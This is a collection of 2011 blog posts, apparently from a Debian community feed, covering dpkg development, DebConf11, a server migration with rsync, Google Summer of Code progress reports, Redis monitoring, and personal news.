Together with Revolution Analytics, I will be offering two more one-day classes on the Rcpp package for seamless integration of R and C++. The format will follow the workshop Romain and I gave during the tutorial day preceding this year's R/Finance conference. The style will once again be hands-on, with copious concrete examples and solid coverage of most aspects of Rcpp and related packages such as RInside, RcppArmadillo and others. The eight-hour schedule contains about six hours of instruction, split into four sessions of around ninety minutes. This leaves ample time for both lunch and coffee breaks, and for informal discussions and Q+A. Two one-day classes will be offered: The first in New York on Saturday, September 28, 2011 and the second one two weeks later in San Franciso on Saturday, October 8, 2011. Please see the official course page for more details, concrete location info and maps as well as registration details. Feel free to contact me at the usual email address with questions.

This is my monthly summary of my Debian related activities. If you re among the people who made a donation to support my work (170 , thanks everybody!), then you can learn how I spent your money. Otherwise it s just an interesting status update on my various projects. This month passed by very quickly since I attended both the Libre Software Meeting / RMLL and the DebConf. Libre Software Meeting / RMLL I attended only 3 days out of the 6 but that was a deliberate choice since I was also attending DebConf for a full week later in the month. During those 3 days I helped with the Debian booth that was already well taken care of by Fr d ric Perrenot and Arnaud Gambonnet. Unfortunately we did not have any goodies to sell. We (as in Debian France) should do better in this regard next time. One of the talks I attended presented EnVenteLibre. This website started as an online shop for two French associations (Ubuntu-fr, Framasoft). They externalize all the logistic to a company and only have to care about ordering goodies and delivering to the warehouse of the logistic company. They can also take some goodies from the warehouse and ship them for a conference, etc. We discussed a bit to see how Debian France could join, they are even ready to study what can be done to operate at the international level (that would be interesting for Debian with all the local associations that we have throughout the world). Back to the LSM, while I had 3 good days in Strasbourg, it seems to mee that the event is slowly fading out it s far from being an international event and the number of talks doesn t make for a better quality. BTW, do you remember that Debconf 0 and Debconf 1 were associated to this event while it was in Bordeaux? dpkg-source improvements During my time in Strasbourg (and in particular the travel to go there and back!) I implemented some changes to 3.0 (quilt) source format. It will now fail to build the source package if there are upstream changes that are not properly recorded in a quilt patch:

dpkg-source: info: local changes detected, the modified files are:
 2ping-1.1/README
dpkg-source: info: you can integrate the local changes with dpkg-source --commit
dpkg-source: error: aborting due to unexpected upstream changes, see /tmp/2ping_1.1-1.diff.cki8YB

As the error message hints, there s a new --commit command supported by dpkg-source that will generate the required quilt patch to fix this. In the processe you will have to submit a name and edit the patch header (pre-formatted with DEP3 compatible fields). You can get back the old behavior with the --auto-commit option. Build flags changes Ever since we adopted the Ubuntu changes to let dpkg-buildpackage set some build related environment variables (see #465282), many Debian people expressed their concerns with this approach both because it broke some packages and because those variables are not set if you execute debian/rules directly. In the end, the change was not quickly reverted and we fixed the package that this change broke. Despite this we later decided that the correct approach to inject build flags would be a new interface: dpkg-buildflags. Before changing dpkg-buildpackage to no longer set the compilation flags, I wanted to ensure dpkg-buildflags had some decent coverage in the archive (to avoid breaking too many packages again). My criteria was that CDBS and dh (of debhelper) should be using it. With the recent debhelper change (see #544844) this has been reached so I changed dpkg-buildpackage accordingly. Makefile snippets provided by dpkg At the same time, I also wanted an easy way for maintainers not using dh or CDBS to be able to fix their package easily and go back to injecting the compilation flags in the environment but doing it from the rules files. Starting with the next version of dpkg, this will be possible with something like this:

DPKG_EXPORT_BUILDFLAGS = 1
include /usr/share/dpkg/default.mk

Without DPKG_EXPORT_BUILDFLAGS the variables are not exported in the environment and have no effect unless you use them somewhere. More than build flags, this will also provide a bunch of other variables that can be useful in a rules files: all the variables provided by dpkg-architecture, vendor related variables/macro and some basic package information (mainly version related). dpkg-buildflags improvements Given the renewed importance that dpkg-buildflags will take now that dpkg-buildpackage no longer sets the corresponding environment variables, I thought that I could give it some love by fixing all the open issues and implementing some suggestions I got. I also had a chat with a few members of the technical committee to discuss how hardening build flags could be enabled in Debian and this also resulted in a few ideas of improvements. In the end, here are the main changes implemented:

• new prepend directive to inject flags at the start (see commit);
• new strip directive to strip flags from the result returned by dpkg-buildflags (see commit);
• new environment variables DEB_flag_MAINT_directive that can be set by the maintainer to adjust what dpkg-buildflags will return (see commit);
• new --export=configure command to inject build flags on the ./configure command line (see commit);
• new --dump command that is the default (see #603435).

Will all those changes, the complete set of compilation flags can be returned by dpkg-buildflags (before it would only return the default flags and it was expected that the Debian packaging would add whatever else is required afterwards). Now the maintainer just has to use the new environment variables to ensure the returned values correspond to what the package needs. DebConf: rolling and hardening build flags I spent a full week in DebConf (from Sunday 24th to Sunday 31th) and as usual, it s been a pleasure to meet again all my Debian friends. It s always difficult to find a good balance between attending talks, working in the hacklab and socializing but I m pretty happy with the result. I did not have any goal when I arrived, except managing the Rolling Bof (slides and video here) but all the discussions during talks always lead to a growing TODO list. This year was no exception. The technical committee BoF resulted in some discussions of some of the pending issues, in particular one that interests me: how to enable hardening build flags in Debian (see #552688). We scheduled another discussion on the topic for Tuesday and the outcome is that dpkg-buildflags is the proper interface to inject hardening build flags provided that it offers a mean to drop unwanted flags and a practical way to inject them in the ./configure command line. Given this I got to work and implemented those new features and worked with Kees Cook to prepare a patch that enables the hardening build flags by default. It s not ready to be merged but it s working already (see my last update in the bug log). A few words about the Rolling BoF too. The room was pretty crowded: as usual the topic generates lots of interest. My goal with the BoF was very limited, I wanted to weigh the importance of the various opinions expressed in the last gigantic discussion on debian-devel. It turns out a vast majority of attendants believe that testing is already usable. But when you ask them if we must advertise it more, answers are relatively mixed. When asked if we can sustain lots of testing/rolling users, few people feel qualified to reply but those that do tend to say yes. More dpkg work Lots of small things done:

• I did again some bug triaging on Launchpad. But Brian Murray did a lot of it and the result is impressive, we re down to 154 bugs (from more than 300 a month ago!).
• I updated my multiarch branch multiple times. I was hoping to meet Guillem during DebConf to make some progress on this front but alas he did not attend. I have been asked a status update multiple times during my time in DebConf.
• I fixed a regression in update-alternatives (#633627), a test-suite failure when run as root (#634961), a segfault in findbreakcycle. There have been a bunch of minor improvements too (#634510, #633539, #608260, #632937).

Package Tracking System and DEHS Christoph Berg recently wrote a replacement for DEHS because the latter was not really reliable and not under control of the QA team. This is a centralized system that uses the watch files to detect new upstream versions of the software available in Debian. I updated the Package Tracking System to use this new tool instead of DEHS. The new thing works well but we re still lacking the mail notifications that DEHS used to send out. If someone wants to contribute it, that would be great! Misc packaging work I did some preliminary work to update the WordPress package to the latest upstream version (3.2). I still have to test the resulting package, replacing upstream shipped copies of javascript/PHP libraries is always a risk and unfortunately all of them had some changes in the integration process. I also updated nautilus-dropbox to version 0.6.8 released upstream. I also uploaded the previous version (that was in testing at that time) to squeeze-backports. So there s now an official package in all the Debian distributions (Squeeze, Wheezy, Sid and Experimental)! Thanks See you next month for a new summary of my activities.

No comment Liked this article? Click here. My blog is Flattr-enabled.

DebConf 11 -- Banja Luka, Bosnia and Herzegovina I'm writing this on my way back from my fifth DebConf, waiting in the Frankfurt Airport for my flight to Munich then another wait for a flight back to Los Angeles. DebConf is the annual convention of Debian Developers and other interested in how Debian Linux (or Debian BSD) works, and want to help make it better. Debian is an international volunteer project, and Debconf is held each year in a different city, normally not on the same Continent two years in a row. Only one so far has been held in the United States, last year Debconf 10 was in New York City. (Mexico and Canada have also hosted Debconfs.) DebConf is a week long conference, with one day designated as "Debian Day" with more introductory level talks, frequently in the local language, and local people are invited to learn about Debian. The rest of DebConf is held in English. This year had over 350 attendees from a couple of dozen countries. Unlike most computer conferences, DebConf is free to attend. (Professional and Corporate memberships are available for those who would like to financially support DebConf.) If you apply early enough, you can request help paying for food, lodging, and travel as well, but such support is limited and you have to justify it. This is all make possible by our generous sponsors, who include some major corporations who use Debian. This year DebConf was held in Banja Luka, Bosnia and Herzegovina. The Bosnian bid won partially based on the generous support of the Bosnian government, not only financial and letting us use one of their buildings for the conference, but also help with getting visas and other such aid. (Visas are not required from the US or most of Europe, but they are from some other countries.) I arrived on Saturday about 24 hours after I left home, starting with too little sleep. I actually managed to eat dinner before passing out in my hotel bed. The hotel room I had in Hotel Vidovic (accent on the c) was nicer than any I have stayed at in Europe (although I always chose by price), and the conference price was less than half what a similar room goes for at a US hotel. There was a nice breakfast buffet included in the hotel cost. (Hot omelets and sausages as well as the usual cold cuts, cheese, fruit, juice, coffee, tea, cereal, yogurt, etc.) The in-room ethernet connection worked all the time except one morning, although it was not particularly fast. The hotel is relatively new, the Lift (elevator) had a date of 2005 on it and I suspect that is when the building was constructed. Sunday was Debian Day, and I went to a couple of sessions before deciding to take a nap in the afternoon. My nap wound up being from 3pm to after 11pm, sleeping through dinner. I was awake for an hour or so checking my email, and then slept till 4am. That was the morning I made it to breakfast before 7am. This was the first time I ate breakfast at normal breakfast hours for a full week for many years. After breakfast Monday, I spent several hours at the front desk helping give out badges, conference bags, and t-shirts. Lunches and dinners were in the Hotel Bosna, across the street from venue. For lunches we were served soup, salad, a plate of food, and desert. For dinners there was a buffet. The food served at Bosna was fairly good, but repetitive from day to day. (I've had much worse hotel food in the US for much more money.) Tuesday was more or less a repeat of Monday, with me opening the front desk by myself and not nearly as many new arrivals. The sessions varied of course, and I played "Debconf Experimental 5-card Mao". (Mao is a card game, popular in Cambridge and at DebConf.) Wednesday was the Day Trip. One day at DebConf is dedicated to socializing while seeing some of the local culture of the hosting city/country. This year there was an option of rafting (with some white water) or visiting a historical monastery and hiking to a waterfall with several grain mills powered by diverted water. This is the first time I had seen one actually grinding grain. (It's mainly a historical tourist attraction, but I don't know what happens to the flower made.) We then met at the rafting location for a BBQ lunch. Apparently there was some miscommunicaiton and the rafting place was not prepared for 70 or 80 people who wished to go rafting, so some did not get to raft until after lunch, and I'm not sure all that wanted to did. Dinner was back at Bosna. Thursday was another normal conference day, with the new wrinkle of distributing food tickets since Bosna was not willing/able to follow our instructions on who should be allowed to eat at Debconf expense. Those who wished to dine with the other Debconf attendees could purchase the tickets from the front desk, although this was not well publicised and few people took us up on it. The special "Conference Dinner" was Thursday night. This was held at a restaurant on the 14th floor of a building a few blocks away, and was a fancier buffet. There didn't seem to be much difference between the first and second course, and they ran out of desert before many people got any. This one was not as memorable as the one in Mexico, but that one was for the wrong reasons, including an unplanned indoor waterfall. After the dinner I played Mao again, this time till 2am. Friday was the only day I did not arrive at the venue in time for the first session (10am). Saturday I opened the front desk by myself again. In the afternoon was the "Debbugs Skills Exchange" that was requested by several people, so Collin Watson, Ian Jackson and I gave some information about it and Don Armstrong (who has done most of the recent coding on debbugs) participated via voip. (Debbugs is software for the Debian Bug Tracking System, often called the BTS.) Collin and Ian are emeritus members of the BTS team, and not active in it, while I am handling the spam filtering and haven't done much with the rest of the BTS. This was in the small "Meeting Room" (rather than the Auditorium or the round room) so we don't have to worry about video archives of it being available. (All the sessions is the two main rooms were streamed live on the internet, and will be edited and archived on http://meetings-archive.debian.net/pub/debian-meetings/2011/debconf11/.) We created a mini intro to the BTS document at that session that should be cleaned up and published. Less than two hours after that talk, the conference was over and teardown was started. As usual, the teardown and cleanup of what we had set up over several days was done is several hours, with many people helping. Sunday was leaving day. I was one of the people on the 11am charter bus to Zagreb DebConf arranged. The two such charter busses were an excellent idea, since the normal busses and trains would not have been able to manage that many extra passengers. This actually took longer than the planned 4 hours due to the long lines at the border crossing on Sunday afternoon. Both Bosnia and Croatia check passports both coming and leaving, so it is checked on both sides of the river that is the border between the countries. The check is pretty cursory unless you are from a country that needs a visa. I then had a plane flight to Frankfurt, and am currently in the middle of my 11 hour layover here. After that I fly to Munich early in the morning, have an 8 hour layover, and fly to Los Angeles. This schedule was in order to get flights at something resembling reasonable cost when I did it. From what I saw of Banja Luka, it's a nice place to visit, although most of the people do not speak English. Vegetarians may have a hard time finding meals, and sometimes they try to serve fish to them. (Assuming vegetarian means "no meat".) Transportation to Banja Luka is a bit hard, there are only six or so flights per week to the local airport, and one of the airlines is not on the international ticket sites. Most DebConf attendees flew to Zagreb then took busses, trains, vans, or taxis to Banja Luka (a 2.5-5 hour ride depending on border lines, road construction, etc.). The weather was rainy off and on throughout Debconf, but the day of the Day trip the rain held off until most of us were back and we had a lovely day. Temperatures were warm but not overly hot, and I never needed my jacket. There are many large alarm clocks in Banja Luka, (such as the one pictured here, across the street from the venue) but there doesn't seem to be a way to change the time setting or put them on snooze.

It s time to change locations for my server. I ve been with CoreNetworks for almost 5 years. They provide a good value, with fully dedicated servers a lot cheaper than most places, and good support to boot targeting people that can handle root on their own box. I m switching, though, to Hetzner Online (of Germany), primarily because I am needing more than 1GB RAM, and they can provide a 2GB box for less than I pay now for 1GB. I asked for feedback on Google+, and got positive feedback. Today, I migrated from one machine to another, copying a dozen or two GB of data, and only had about 15 minutes downtime. I was able to do this without console access to the source machine, though console access wasn t really required for either. This will work with any basic Linux install on the destination, or it could be prepared directly from a rescue environment. Before I explain how I did it, I thought it was interesting to think of the different places that the machine that was known as complete.org has lived over the years. Here s a map (click for detail): Here s the general process. First, well in advance of the move, crank the TTL on the domains way down. This way, old IPs won t be cached for very long once the system moves. Next, start rsyncing data from the old machine to the new. Do not yet shut down daemons on the old. Shut down as much as you can on the new. You ll want to focus on static data, such as /home. /usr is a good candidate as well. /var if you are selective databases may be a good candidate, or may not. The idea is to seed the destination with data so that when we do the real rsync, most of the data will be there; it will have to tidy things up after daemons are stopped, and update some things, but the bulk of the work should be done. Next, start preparing some exclude lists for the final rsync, which will copy an entire machine to the other. You will likely want to exclude files such as /etc/fstab, /etc/network/interfaces, /etc/resolv.conf, /etc/hosts, /etc/default/grub, /sys/*, /proc/*, /dev/*, and the like. I used rsync -v -P -a -H -A -X -S numeric-ids delete-after. Now, start editing config files for the new IP, but do it on the old server (these will be synced over to the new one). Start with the bind config files, and touch anything else that needs it maybe Apache configs, whatever. Next, get ready to do the final sync. In an ideal environment, we d just shut both machines down to single-user mode, but that s not going to quite cut it here. Use ps and shut down all daemons except sshd and udev on the destination. Yes, including even syslog. This is to prevent anything actively accessing the disk during the rsync, and also to prevent any issues with clients accessing server daemons that aren t ready yet. Now, on the source machine, reload bind. This will start answering DNS queries with the new machine s IP, and should also propagate the changes to your secondary DNS. Next, kill off all the daemons on the source machine, except for ssh and bind. You might want to set /etc/nologin to prevent regular users from logging in on ssh, if you have them. Now rsync things over to the new machine. Do any final tweaking over there (merging in /etc/hosts maybe, dealing with the udev rules.d persistent net thing, etc.). Reboot the new server and you should be up and running.

Actually, I'm speaking there! In two days, I'm going to be in Berlin talking about how to Get new contributors (and diversity) through outreach. It shares a title with the talk I gave at PyCon, and I expect it will be similar. There are some points I will improve on, and some new pieces to cover:

• Build It events
• Follow-up statistics from the "Four Days" effort within Debian
• The plan to run more student immersion events

In high school, I used to read the Dot daily. I was surprised and thrilled to see that they chose to list my talk in their announcement of the summit. If you'll be there, too, let me know! Let's hang out. And if you want to work one-on-one(-ish) on helping your project improve diversity or outreach, I will be in Berlin until August 14, and extremely happy to spend time with people.

Boy, the last three months have been very eventful, developmentally. First off, about 2 weeks after she turned 1, Zoe started walking in earnest. Within about 2 weeks of that there was no stopping her. It's funny to think she's only been walking for under 3 months and yet she's very stable on her feet. Secondly, she developed a mild egg allergy. Sarah was giving her some scrambled eggs (one egg's worth) for lunch one day, and she mixed in some cream cheese, and Zoe absolutely scoffed it all down, so she scrambled another egg and she scoffed that down too. She then broke out in some hives around her mouth and Sarah noticed that she was coughing a bit and a little wheezy when she put her down for her afternoon nap. Upon subsequent consultation with her paediatrician and a blood test, the allergy was confirmed and we now have to avoid eggs and Zoe was prescribed an Epi Pen Jr. We went and saw an allergist as a followup, and he did some skin tests that showed eggs were the only thing she's allergic to. He said her allergy was very mild in the grand scheme of things, and we're going to do another skin test when she's 2 to see if she's grown out of it. Eggs in baked goods are generally okay, as the offending protein is denatured at high temperatures. She's more allergic to the egg whites (1.56, which is in the "moderate" range) than the egg yolks (0.55, which is in the "low" range). Egg allergies are apparently something that one does eventually out grow, so that's a good thing. We'd also been keeping her off gluten and dairy because of a strong correlation between them and rather disgusting bowel motions. We've successfully reintroduced gluten with no adverse effects, and we've just started her back on cow's milk. We of course had our epic trip to the Grand Canyon, which Zoe handled absolutely marvelously. That was closely followed by a weekend down in LA, which was a bit more of a disaster as Sarah and I both came down with a 24 hour stomach bug that Zoe had had during the week. There's nothing quite like languishing in a non-childproofed hotel room, feeling like death, with a full of beans toddler busy running around jamming her fingers in drawers. Fortunately we were able to use a babysitter for a few hours respite, but it did rather completely mess up our plans for the weekend. Zoe did handle the drive to and from LA very well though. Zoe's been doing Saturday morning swim classes at the YMCA, which I've taken her to. I don't think she's enjoyed them as much as the indoor ones she did at the Sutton Swim School, where she went with Sarah previously, and I definitely don't feel like the classes are as structured. Unfortunately we just finished an 8 week session, and the next one filled up before we got a chance to book, so we're hoping to get back into something at the Sutton Swim School once an opening comes up. I might do something ad hoc with her on Saturdays at the Rinconada Pool in Palo Alto in the meantime. Zoe has also started going to regular daycare on Thursdays, so Sarah gets a day to focus on her University study. It's a home daycare that isn't too far away, and our friend's daughter goes there too, so there's someone she knows. The first few times Zoe got pretty upset when she was dropped off, but she barely makes a whimper now when Sarah drops her off. She's also usually down to one nap a day now. She has four teeth, top and bottom, with one molar definitely through and another three starting to make an appearance. I just bought an iBert safe-T-seat for my bike, because I've been itching to get out on the bike with Zoe on the weekends when I'm looking after her so Sarah can get some more study done. The weather is currently nice, and I've just learned about a bike trail that cuts across the bay in front of Moffett Field, so I'm keen to check that out. Apparently there's geese out there. I did my first decent ride with her last Sunday to the Mountain View Farmer's Markets and back. Zoe seemed to be okay with it. The helmet we got her drew a lot of comments from people at the markets. She's very much in the "point and grunt" stage at the moment. What's really cool is she'll nod or shake her head in response to yes/no questions. It's so cool when you can ask her a question and she solemnly nods her head in response. Often in the morning Sarah takes her to the park around the back of our home, and so now Zoe's gotten into that habit, so she'll scratch around at the front door and they head over there. The other day, Sarah opened the front door and she took off in the direction of the park, so Sarah just followed her to see where she went. Sure enough, she made her way over to the park. Tonight, Zoe fetched me my shoes and then dragged me over by the hand to the front door to demand that I take her out for a walk. She's also really getting into books now. She actively seeks out books, and has a bit of a flick through them, or brings one over and climbs into our laps, or backs up and sits in our laps if we're sitting on the floor, to have us read them to her. She's now strong enough to hold her bottle herself at bedtime, so I sit with her in my lap in the glider and read a story to her while she has her bedtime bottle. It's indescribably wonderful. She seems to understand quite a large array of words. We can go "Where's your <insert object here> and she'll look around the living room and generally find the item we're talking about. She also seems to understand questions about breakfast, lunch, going to the park, going to the bathroom, having a bath, etc as she seems to respond appropriately. In the speech department, I haven't really counted the words, but she's not saying a huge number of words. This morning, apparently she yelled "MAMA! MAMA! PARK!". "Park" being a new word for her. We bought an annual membership to the Children's Discovery Museum in San Jose, and we've probably taken her there half a dozen times or so since getting the membership. She particularly loves the water area. We finally got around to getting our back yard landscaped and made generally fit for a small child to run around in. Sarah's planted a butterfly garden in one corner, so hopefully once that's established we'll have some fun things for Zoe to watch from the window. I'm looking forward to planting some bulbs in the autumn. I expect the next 3 months will be more of the same. We've got some more overseas travel coming up, but a lot of relatives will be around, so hopefully we'll get a bit of downtime to ourselves.

On July 30th, 2001, I received a mail from James Troup stating that I was a Debian developer, this 10 days after my Application Manager, namely Martin Michlmayr, sent his AM report. Summarizing these 10 years will be....interesting. Now that I'm on holidays, I'll try too cook something up. Sorry, folks, I completely forgot celebrating this last Saturday.

Due to the midterm evaluation, this report will cover a span of 4 weeks. As a result, it will be quite a bit longer than my previous reports. One of the first things I did after my last report was create a FAQ for the project. At first, the FAQ was a plain text file living only in the git repository. Then, it moved to being maintained on the Debian wiki with a cronjob pulling it into my local repository for me to commit and push. Finally, the cronjob moved to wagner. The FAQ is not actually committed to the git repository, but it is available in the dextools instance running on wagner or on the wiki. There is also now a basic README file that is part of the git repository that simply points people to the FAQ on the wiki (so people who branch the repository can easily find the documentation). For those of you who have been reading my other reports and/or testing the dashboard, you have probably noticed the problems I was having getting the text boxes sized properly. After spending countless hours researching and testing different solutions, we finally decided to give up on this for the time being. Therefore, all of the size attributes have been removed from the text inputs, and the background color has been reset to its default value. This means that we will no longer experience the issue of very wide text boxes and a horizontally stretched table. However, it also means that long strings will get cut-off when displayed in a text input. Since my initial mockup design at the start of the summer, I have had the rows of the table zebra-striped. Based on some feedback from Paul Wise (pabs), I changed this so that the row colors are based on the status of the task. Open tasks are red, closed tasks are green, and in progress tasks are yellow. This makes it much easier to quickly see the progress of the project and find tasks you are interested in. My original dashboard consisted of one main dex.html file. This file used some javascript to pull in each project s task list. We felt that a much more common use case would involve a user only interested in one particular project. As a result, they would not be likely to use the select boxes to change projects. This ultimately led to me creating standalone dex.html dashboards for each project. These per-project dashboards were identical to the original dex.html, except they did not include the select boxes at the top for changing projects. Eventually, I decided to completely get rid of the original dex.html dashboard. That file now consists of a simple list of links to all of the projects sorted by distribution. Another advantage of this change is that it is much easier to link to a specific project. For example, you might now link to /projects/dex-ubuntu-ancient-patches/dex.html (you can get the URL by simply copying it from the address bar). Another advantage is that you can now link directly to a specific project s graphs (just append #graph). Another feature that I am still working on is per-project documentation. From the start, we wanted to make it easy for new contributors to get involved in DEX. One way we can do this is by having clear documentation about what the project is and how to deal with tasks. I decided that the easiest approach would be to have this documentation live on the wiki. This allows users to use the familiar wiki markup language to format their text, and it gives us all of the other benefits a wiki provides. Documentation will live at /DEX/<distribution>/ <project>. The dashboard will then take care of pulling in this documentation and displaying it at the top of the proper page. For a while, I was thinking that it would be necessary to filter the HTML produced by the wiki to prevent malicious code from ending up on the dashboard. However, after playing around for a bit, I think that it should be pretty safe to just use the HTML as-is (if someone spams the wiki, we can always revert the change). I am currently finishing up some of the code to handle this, and it should be live sometime this week (a partially working version is live on wagner). There are also two new checkboxes at the top of each dashboard. These allow users to add completed tasks and/or tasks with completed bugs. This is useful for projects that are close to being complete, as it allows users to quickly view the few remaining tasks. This feature was requested by several people, and I am glad to finally be able to implement it for them. There is also a second graph on each page. This graph is a bar graph that shows the number of tasks each person has completed. It gets the people from the assignee column for the project, and it only counts tasks with a status of Complete . The graph is updated whenever the getbugs.py script runs to update the task listing (currently every 10 minutes). The bars are sorted from tallest to shortest. The idea behind this graph is to recognize the people working on a project. The form processing script has not worked on wagner. This was mainly due to a permission issue. Thanks to a hint from Rapha l Hertzog, I was able to use setfacl to fix this. The form can now be submitted, and it should successfully save all changes made via the web form. This involved some updates to support the per-project dex.html files. The form processing script will also ignore any status that is not complete , in progress , or incomplete , which prevents people from messing up the dashboard by submitting invalid information. Finally, the script will now try to use the HTTP_REFERER header to send the user back to the correct page. If this header is not set, the user will be sent back to the main dex.html index page. Sorting the table has been partially broken since I started including text inputs. I finally got this issue resolved, and I should now be able to sort by text inputs, select boxes, or anything else I might end up including in the table. You can test this by clicking on any header in the table. I will probably add a tiny image to make it more clear which header is being used to sort the table. By default, it is sorted based on the status and then the task name. The status column now has a select box for setting the status. Since the row coloring is done via javascript, the minute you change the status in the select box, the row color will change to reflect the new status. Keep in mind, for the time being, any change you make via the web form will be lost if you do not hit the Submit button at the top of the form. That covers most of the dashboard changes that have taken place since my last report. However, there were also some other changes that are worth noting. Matt Zimmerman, my original mentor, settled down from his traveling and resumed serving as my mentor for the project. I would like to thank Stefano Zacchiroli for all of his help this summer. I look forward to working with him more in the future. I have also started using the issue tracker feature on alioth for dextools. Right now, it is mainly being used to help me keep track of bugs and features that I need to deal with. I am hoping that as dextools starts to be used by more people that they will also help report issues on the tracker. This issue tracker is a good source of information for people interested in knowing what I will be working on in the future. I will briefly talk about some of the more important features that I will be working on. The first issue is one that I have already touched upon in this report. I want to sort out the per-project documentation. This is rather important, as it will most likely be utilized by all projects using the dashboard. It is also essential if we are to get new contributors involved in DEX projects. Second, I want to setup some method for backing up the projects/ directory on wagner. This directory is not maintained in the git repository, and it contains all of the information submitted via the web form and generated by the scripts. My current plan is to have this directory maintained in its own VCS. Every time getbugs.py runs or the form is submitted, a new commit will be made. This will allow us to easily revert any changes (spam) made to the dashboard. Since we do not foresee the dashboard being the target of much abuse, any user will be able to modify data via the web form. I also want to add the ability for users to create new projects and task via the web. I envision this as a separate form where they enter the distribution name, project name, a list of BTS bug numbers, and a list of any additional tasks. The script will then take care of applying the necessary usertag to the bugs and/or creating a tasks file in the projects directory for the non-bts tasks. Doing this will make starting a new project trivial, and will eliminate the need for VCS access to create projects that do not utilize BTS bugs. Finally, I want to eliminate the need for the user to hit the Submit button to save their changes. Any change the user makes should be submitted and saved instantly using AJAX. This will also help eliminate some confusion that was caused by the row color instantly changing when the status is changed. Some users thought that the color change meant that the change was saved when it really was not. Matt asked me the other day what features I think need to get added before the dashboard is really ready for public use. While the features and issues I mentioned above will help make the dashboard easier to use, the dashboard is still perfectly usable without them. There are only a few more weeks left in the Google Summer of Code 2011. By that time, all of these features and bugs should be sorted out, and we should be able to properly announce the dashboard and make it available for use on all DEX projects. That does not mean that the dashboard will be done . Instead, it will probably result in many new bugs and feature requests being submitted. However, at that point, I will make a very strong effort to keep the dashboard stable and to prevent data loss. I am looking forward to the finally finishing up this project and seeing it used by the DEX team. As always, if you are interested in helping out with DEX or dextools, my code is available in a git repository on alioth. There is also the new issue tracker where you can report bugs and request new features. Finally, you can join the debian-derivatives mailing list, join #debian-derivatives on OFTC, or contact me directly via email or on IRC (nhandler).</project></distribution>

Now that the debconf videos are available (big THANKS to the video team), I was able to watch the talk about packages in git at Debconf11 and wanted to share some insights:

• Feature branches
  I've looked a long time into topgit, and like many other gave up. I think there is one big problem: It is not compatible with git.
  Git tracks the history of commits. Everything that is in the history is assumed to be already applied. So if you merge something with a change applied and reverted with something with a change applied, the logical conclusion for git is to not apply it (or rather also apply the revert).
  This means that if you have multiple feature branches on top of each other, you cannot easily remove a branch from under the other. You can also not easily switch the order of patches. There are many ideas floating around how to work around this, but I personally would not wait until some manages to finish topgit or some replacement of it with that functionality.
• Reverting to an older state or branching off
  The other problem with many feature branches is that while due to aggressive merging you can fast-forward to a newer state, reverting to an older state of all the branches is relatively complicated.
  With the "rebased patch branch merged into you debian branch history" approach of git-dpm on the other hand, branching of a state is extremely simple:
  git checkout -b squeeze reprepro-debian-4.2.0-2
  for example is the only thing that was needed to branch of a branch for stable updates. Reverting to a previous state with git reset --hard is not much more complicated (at most you need to remove the upstream and patched branches, if they are needed they will be recreated anyway).

As Redis writes to disk asychronously, it is not sufficient to monitor whether it is still listening to TCP/IP connections - you must check whether it is managing to persist the in-memory data to disk. However, as it is not currently possible to deterministically monitor the status of these background saves, we are limited to checking that the number of seconds since the last save has not exceeded some specific number. This is possible by using last_save_time which is available via the INFO command: Checking for this has already saved me twice: once when my vm.overcommit_memory = 1 change was accidentally rolled back (see "Background saving is failing with a fork() error" in the Redis FAQ), and again when the machine simply did not have enough disk space. To monitor this with Nagios: The following invokation will trigger a warning when we haven't saved in an hour and become critical if we haven't saved within 24 hours. (If we cannot connect to the server we are immediately critical, so we avoid an extra check just for this.) This setup works well, although we are now monitoring a non-deterministic heuristic. To remedy this, Redis could expose background save failures in the INFO output (last_bgsave_status=fail, perhaps?). However, the treatment of previous contributions puts me off sending further patches.

Much of my academic research involves statistics and crunching through big datasets. To do this, I use computer clusters like Amazon's EC2 and a cluster at the Harvard MIT Data Center. I will frequently kick of a job to run overnight on the full HMDC cluster of ~100 computers. Some of my friends do so nearly every night on similar clusters. Like many researchers and engineers, it costs me nothing to kick off a big job. That said, computers consume a lot of energy so I did a little back-of-the-envelope calculation to figure out what the cost in terms of resources might add up to. An overnight job that uses a 100 computer cluster might use 800 computer-hours. Although power efficiency varies hugely between computers, most statistical analysis is CPU intensive and should come close to maximizing power consumption. According to a few sources [e.g., 1 2 3], 200 watts might be a conservative estimate of much a modern multi-CPU server will draw under high load and won't include other costs like cooling. Using this estimate, the overnight job on 100 machines would easily use 160 kilowatt hours (kWh) of energy. In Massachusetts, most of our power comes from coal. This page suggests that an efficient coal plant will generate 2,460 kWh for each ton of coal. That means that one overnight job would use 59 kg (130 lbs) of coal. In the process, you would also create 153 kg (338 lb) of CO2 and a bit under half a kilogram (about 1 lb) of nitrogen oxides and sulfur dioxide each. It's a very rough estimate but it certainly generates some pressure to make sure the research counts! Of course, I've written some free software that runs on many thousands of computers and servers. How many tons of coal are burnt to support laziness or a lack of optimization in my software? What is the coal cost of choosing to write a program in a less efficient, but easier to write, higher-level programming languages like Python or Ruby instead of writing a more efficient version in C?

The headline is not entirely correct, there are still a very few recordings missing but the awesome videoteam (/me bowes) has already relased 75 low and 64 high quality encodings! Missing stuff will be added when it s ready. As usual you can get them all from the Debian videoteam archive. All available recordings are also linked from the DebConf11 schedule. For the first time we licenced our work under CC-BY 3.0. Please leave a comment on wiki/DebConf11/Videoteam/Thanks. Personally I d like to deeply thank everybody who made DebConf11 a success! I m proud to be part of a great and diverse community working on achieving their one common goal: to create the best free operating system! Have fun on the way!

Hello,

This is the fourth report of my GSoC project for Debian. It has been a long time
since I wrote third report. So past four weeks a lot of things are implemented.

Firstly, I've changed tool's main script's name to py3build (removed .py suffix)
and make it executable so after you cloned my git repository you can use tool
with "./py3build".

I fixed a bug which occurs when the tool is invoked from somewhere except
its directory. If you invoke it like "./path/to/py3build/py3build" then the tool give
errors (f.e. could not find plugins etc.). Now this is fixed.

When I'm designing the API, I think if there is given build system (with
--system parameter) there is no need to invoke detect method but when
I'm writing autotools plugin, I realized that I need to learn which files are
exists and according to that information I'll invoke right thing (f.e. autoconf
or directly configure). So even if there is a given build system with --system
parameter its detect method invokes.

When I'm implementing plugins to tool, I need clean args (f.e. parameters
which are using with make clean) and install args (f.e. parameters with
make install) and I added it.

I added --dest-dir parameter this is passing to distutils plugin's root parameter.
In distutils plugin --install-dir parameter is passing as --install-platlib,
--install-purelib and --install-scripts so that maintainer can override it
with py3build's --install-args parameter.

Now, I implemented distutils, autotools, cmake plugins and working on
scons and packaging plugins. During the writing period of plugins I'm
testing them. After I finished these plugins I'm planning to write a patch
to dh and cdbs. After that I will write the tool and plugins for Python2.X.

